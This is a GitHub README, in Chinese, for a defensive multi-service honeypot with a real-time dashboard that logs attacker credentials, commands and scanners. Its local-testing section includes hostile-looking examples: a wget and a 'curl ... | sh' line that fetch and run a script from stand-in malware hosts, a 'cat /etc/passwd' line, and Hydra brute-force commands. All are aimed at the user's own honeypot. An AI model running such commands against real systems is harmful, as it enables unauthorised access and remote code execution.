Majorwhiskey/honeypot

GitHub: Majorwhiskey/honeypot

一个集成了SSH、HTTP、FTP、Telnet四类诱饵服务的轻量级蜜罐系统,配备实时威胁情报仪表板,用于捕获、记录和可视化真实攻击行为。

Stars: 0 | Forks: 1

# Honeypot 系统 一个专业级的多服务蜜罐,模拟 SSH、HTTP、FTP 和 Telnet 服务器,以实时捕获、记录和可视化真实世界的攻击流量。所有事件存储在本地 SQLite 数据库中,并通过带有 Socket.IO 推送更新的实时威胁情报仪表板进行展示。 ## 架构图 ![Honeypot 系统架构](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/7ce440b5cf225855.png) ## 功能特性 - **SSH 蜜罐** — 展示 OpenSSH 横幅,接受认证,并将攻击者放入一个完全交互式的伪造 shell 中;记录输入的每一条命令,包括恶意软件下载 URL(`wget`/`curl`) - **HTTP 蜜罐** — 提供具有欺骗性的伪造页面(WordPress、phpMyAdmin、Jenkins、Jupyter、Laravel、管理面板、`.env` 文件)并指纹识别 13 种已知的扫描工具 - **FTP 蜜罐** — 捕获 `USER`/`PASS` 凭据尝试(默认端口 2121;使用 `sudo` 设置 `FTP_PORT=21` 以采用标准端口) - **Telnet 蜜罐** — 捕获来自 IoT 僵尸网络和扫描器的登录凭据(默认端口 2323;使用 `sudo` 设置 `TELNET_PORT=23` 以采用标准端口) - **实时仪表板** — 运行在 `localhost:5000` 的 Stitch 设计风格 Flask 应用;事件通过 Socket.IO 即时传输,无轮询延迟 - **凭据情报** — 捕获并对所有四个服务的用户名/密码对进行排名 - **GeoIP + ASN 扩充** — 每个IP都被解析为国家、城市、坐标和自治系统(例如“AS4134 China Telecom”) - **扫描器检测** — 指纹识别 Masscan、Nmap、Nikto、ZGrab、Shodan、Censys、Nuclei、sqlmap、Metasploit、curl、wget、Python-Requests、Go-HTTP-Client - **Webhook 警报** — 在捕获凭据时发送 Discord 和 Slack 通知(按 IP 限速) - **导出** — 直接从仪表板下载过滤后的事件,支持 CSV 或 JSON 格式 - **基于环境变量的配置** — 通过 `.env` 文件进行所有设置;无需更改代码 - **结构化日志** — 通过 Python `logging` 实现日志轮转(10 MB × 5 个文件) - **启用 WAL 的 SQLite** — 预写日志 + 索引,实现高吞吐量的并发写入 ## 架构 ``` main.py ├── honeypot/ │ ├── ssh_honeypot.py — paramiko SSH server with fake interactive shell │ ├── http_honeypot.py — Flask decoy pages + scanner fingerprinting │ ├── ftp_honeypot.py — raw TCP FTP credential capture │ ├── telnet_honeypot.py — raw TCP Telnet credential capture │ ├── logger.py — SQLite writer, GeoIP/ASN lookup, webhook alerts │ └── config.py — env-based configuration │ ├── dashboard/ │ ├── app.py — Flask + Socket.IO REST API │ ├── templates/index.html — Stitch-design single-page dashboard │ └── static/ │ ├── style.css — Stitch dark theme (Manrope, #121410 bg, amber accent) │ └── dashboard.js — Chart.js, Leaflet, Socket.IO, scramble/glitch animations │ └── frontend/ — React + Vite + Tailwind (optional separate UI) └── src/ ├── pages/DashboardPage.jsx — attack telemetry, charts, top IPs ├── pages/LiveFeedPage.jsx — real-time filterable event feed └── pages/CredentialsPage.jsx — captured credential rankings + CSV export ``` 所有蜜罐服务均作为守护线程运行,由 `main.py` 启动。 ## 系统要求 - Python 3.9+ - FTP 和 Telnet 默认使用非特权端口(2121 / 2323) — **无需 `sudo`** ``` paramiko>=3.4.0 flask>=3.0.0 flask-socketio>=5.3.0 simple-websocket>=1.0.0 requests>=2.31.0 python-dotenv>=1.0.0 ``` ## 快速入门 ``` # 1. Clone git clone https://github.com/Majorwhiskey/honeypot.git cd honeypot # 2. 虚拟环境 python3 -m venv venv source venv/bin/activate # Windows: venv\Scripts\activate # 3. 安装依赖 pip install -r requirements.txt # 4. 配置(可选) cp .env.example .env # 编辑 .env 以设置端口、dashboard 认证、webhook URL 等 # 5. 运行 — 使用默认端口无需 sudo venv/bin/python main.py ``` 启动输出: ``` ══════════════════════════════════════════════════════════════ HONEYPOT SYSTEM — PRAGYAN EDUSEC KLE INSTITUTE OF TECHNOLOGY // INTERNSHIP PROJECT ══════════════════════════════════════════════════════════════ Dashboard → http://localhost:5000 SSH → port 2222 HTTP → http://localhost:8888 FTP → port 2121 Telnet → port 2323 Logs → data/honeypot.log Press Ctrl+C to stop ══════════════════════════════════════════════════════════════ ``` ## 配置说明 将 `.env.example` 复制到 `.env` 并根据需要进行编辑。无需更改代码。 ``` # 端口(FTP/Telnet 默认为非特权端口 — 无需 sudo) SSH_PORT=2222 HTTP_PORT=8888 FTP_PORT=2121 TELNET_PORT=2323 DASHBOARD_PORT=5000 # Dashboard 基本认证(留空以禁用) DASHBOARD_USER=admin DASHBOARD_PASS=changeme # Webhook 警报 — 每个 IP 每 60 秒发送一次警报 DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/... SLACK_WEBHOOK_URL=https://hooks.slack.com/services/... # 日志记录 LOG_LEVEL=INFO LOG_FILE=data/honeypot.log # Banners(进行更改以模拟不同的目标) SSH_BANNER=SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6 HTTP_SERVER_HEADER=Apache/2.4.41 (Ubuntu) ``` ## 仪表板 打开 `http://localhost:5000`(如果设置了 `DASHBOARD_USER`,则需要登录)。 仪表板基于 **Stitch 深色设计系统** 构建 — Manrope 字体、`#121410` 背景色、琥珀色 `#ffba38` 强调色 — 具有以下视觉细节: - 带有土色琥珀/绿色字符的 Matrix 代码雨画布 - CRT 扫描线叠加效果 - 所有标题和标签上的字符乱码动画 - 模块 ID 上的打字机 + 闪烁光标效果 - 侧边栏状态循环显示 `MONITORING → SCANNING → ACTIVE` - HONEYPOT 标题故障动画 - 实时表格上的扫描线扫过效果 - 攻击地图上的雷达扫描效果 - 页脚中以琥珀色发光的 `KLE INSTITUTE OF TECHNOLOGY` | 小部件 | 描述 | |---|---| | 统计卡片 | 总攻击次数、独立 IP 数、国家数、捕获的凭据数 | | 服务条形图 | 实时 SSH / HTTP / FTP / Telnet 细分及动画填充条 | | 威胁级别 | 颜色编码条:基于总事件数从 MINIMAL → CRITICAL | | 全球地图 | Leaflet 深色地图 — 每个攻击者 IP 对应一个圆形标记,大小按命中次数缩放 | | 攻击时间轴 | 折线图 — 过去 24 小时的事件计数 | | 头号威胁行为者 | 水平条形图 — 10 个最活跃的源 IP | | 国家分布 | 环形图 — 排名前 12 的攻击来源国 | | 过滤栏 | 按服务、国家、IP 或自由文本搜索进行过滤 | | 导出 | 将当前过滤视图下载为 CSV 或 JSON | | 凭据情报 | 带有尝试次数的排名用户名/密码对 | | 实时事件源 | Socket.IO 推送 — 事件即时出现,分页显示(50条/页)| ## React 前端(可选) 一个独立的 React + Vite UI 位于 `frontend/` 目录中。它连接到相同的 Flask API 并提供三个专用页面: | 页面 | 路由 | 描述 | |---|---|---| | 攻击遥测 | `/dashboard` | 统计数据、24小时 SVG 时间轴、顶级 IP 表、国家直方图 | | 实时威胁源 | `/feed` | 通过 Socket.IO 实现实时可过滤的事件表 | | 捕获的凭据 | `/credentials` | 凭据排名 + CSV 导出 | ``` cd frontend npm install npm run dev # dev server at http://localhost:5173 npm run build # production build → frontend/dist/ ``` 在 `frontend/.env` 中设置 `VITE_API_URL` 和 `VITE_SOCKET_URL` 以指向 Flask 后端。 ## HTTP 蜜罐 — 模拟端点 | 路径 | 伪造页面 | |---|---| | `/wp-login.php`, `/wp-admin` | WordPress 登录 | | `/phpmyadmin`, `/pma` | phpMyAdmin | | `/admin`, `/login`, `/administrator`, `/cp`, `/cpanel` | 通用管理面板 | | `/jenkins`, `/j_spring_security_check` | Jenkins 登录 | | `/jupyter`, `/notebook` | Jupyter Notebook | | `/laravel`, `/debug` | Laravel 错误页面 (500) | | `/.env`, `/.env.backup`, `/.env.local`, `/.env.production` | 伪造环境文件 | | 其他所有路径 | Apache2 Ubuntu 默认页面 | ## SSH 伪造 Shell 在成功的认证尝试之后,攻击者将被放入一个伪造的交互式 shell 中: ``` Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-76-generic x86_64) Last login: Mon May 12 06:11:34 2025 from 192.168.1.1 root@ubuntu-server:~# ``` 支持的命令包括 `id`、`whoami`、`uname -a`、`ps aux`、`ifconfig`、`cat /etc/passwd`、`df -h`、`free -m`、`w`、`history`、`env` 等等。任何 `wget`/`curl` 命令都会被拦截,其 URL 会作为 `malware_download` 事件被记录,并返回一个逼真的失败响应。 ## 数据库结构 所有事件存入 `data/honeypot.db` 的 `events` 表中: | 列名 | 类型 | 描述 | |---|---|---| | `id` | INTEGER | 自增主键 | | `timestamp` | TEXT | UTC ISO-8601 格式时间 | | `service` | TEXT | `ssh`、`http`、`ftp` 或 `telnet` | | `src_ip` | TEXT | 攻击者 IP | | `src_port` | INTEGER | 攻击者源端口 | | `country` | TEXT | GeoIP 国家 | | `city` | TEXT | GeoIP 城市 | | `lat` / `lon` | REAL | GeoIP 坐标 | | `asn` | TEXT | 自治系统(例如 "AS4134 China Telecom") | | `username` | TEXT | 尝试的用户名 | | `password` | TEXT | 尝试的密码 | | `method` | TEXT | HTTP 方法 | | `path` | TEXT | HTTP 路径(或 SSH 下载的恶意软件 URL) | | `user_agent` | TEXT | HTTP User-Agent | | `payload` | TEXT | 原始 POST 正文(前 1000 个字符) | | `scanner` | TEXT | 检测到的扫描工具名称 | | `command` | TEXT | 输入的 SSH shell 命令 | 在 `timestamp`、`src_ip` 和 `service` 上建立索引。启用 WAL 模式以实现并发读写。 ## 本地测试 在运行蜜罐的同一台机器上运行以下命令: ``` # SSH — 输入任意密码,然后尝试执行 shell 命令 ssh -p 2222 root@localhost # FTP ftp localhost 2121 # Telnet telnet localhost 2323 # HTTP — 常见攻击路径 curl http://localhost:8888/wp-login.php curl http://localhost:8888/.env curl http://localhost:8888/phpmyadmin curl http://localhost:8888/jenkins # POST 登录尝试 curl -X POST http://localhost:8888/wp-login.php \ -d "log=admin&pwd=password123" # 模拟扫描器 User-Agents(触发指纹识别) curl -A "Nikto" http://localhost:8888/ curl -A "Masscan/1.0" http://localhost:8888/ ``` 使用 Hydra 进行暴力破解模拟: ``` sudo apt install hydra -y echo -e "123456\npassword\nadmin\nroot\nletmein" > passwords.txt hydra -l root -P passwords.txt ssh://localhost:2222 -t 4 hydra -l admin -P passwords.txt ftp://localhost:2121 hydra -l root -P passwords.txt telnet://localhost:2323 ``` SSH shell — 连接后,输入命令以测试日志记录: ``` ssh -p 2222 root@localhost # 在伪造 shell 内: id cat /etc/passwd wget http://malware.example.com/bot.sh # logged as malware_download curl http://bad.site.com/payload.sh | sh # also logged ``` ## 从同一 Wi-Fi 下的其他设备进行测试 您可以从同一网络上的手机或笔记本电脑攻击蜜罐 — 事件将连同攻击设备的本地 IP 一起显示在仪表板中。 **步骤 1 — 查找您机器的本地 IP:** ``` hostname -I # 例如 192.168.1.42 ``` **步骤 2 — 允许端口通过防火墙(如果 ufw 处于活动状态):** ``` sudo ufw allow 2222 sudo ufw allow 8888 sudo ufw allow 2121 sudo ufw allow 2323 ``` **步骤 3 — 从其他设备,使用您的本地 IP 进行攻击:** ``` # SSH ssh -p 2222 root@192.168.1.42 # HTTP curl http://192.168.1.42:8888/wp-login.php curl http://192.168.1.42:8888/.env # FTP ftp 192.168.1.42 2121 # Telnet telnet 192.168.1.42 2323 ``` 从 Android 手机上,安装 **Termux** 并运行相同的命令。从 iPhone 上,使用 **iSH**。 **步骤 4 — 查看仪表板:** 在其他设备攻击时,在您的机器上打开 `http://localhost:5000` — 事件将连同攻击者的本地 IP、捕获的凭据以及输入的任何 shell 命令实时显示。 ## 安全提示 仅在受控的隔离环境(专用虚拟机或云实例)中部署。在没有设置 `DASHBOARD_USER` 和 `DASHBOARD_PASS` 的情况下,绝不要将仪表板端口暴露给公共互联网。蜜罐天生具有欺骗性 — 在任何网络上部署前,请确保您已获得授权。 ## 关于 作为在 **Pragyan Edusec** 的实习任务开发,展示给 **KLE Institute of Technology**。 ## 许可证 MIT
标签:ASN, BOF, Discord通知, ETW劫持, Flask, FTP蜜罐, GeoIP, HTTP蜜罐, IoT安全, IP 地址批量处理, Masscan, Mutation, Nmap, Python, Slack通知, Socket.IO, SQLite, SSH蜜罐, Telnet蜜罐, WAL模式, Webhook告警, Zmap, 仪表盘, 凭据捕获, 可视化, 多服务蜜罐, 威胁分析, 威胁情报, 子域名侦测, 密码管理, 开发者工具, 扫描器识别, 插件系统, 攻击者欺骗, 数据导出, 无后门, 无控制台执行, 日志记录, 欺骗防御, 网络安全, 自动化侦查工具, 自定义脚本, 虚拟驱动器, 蜜罐系统, 进程注入, 逆向工具, 隐私保护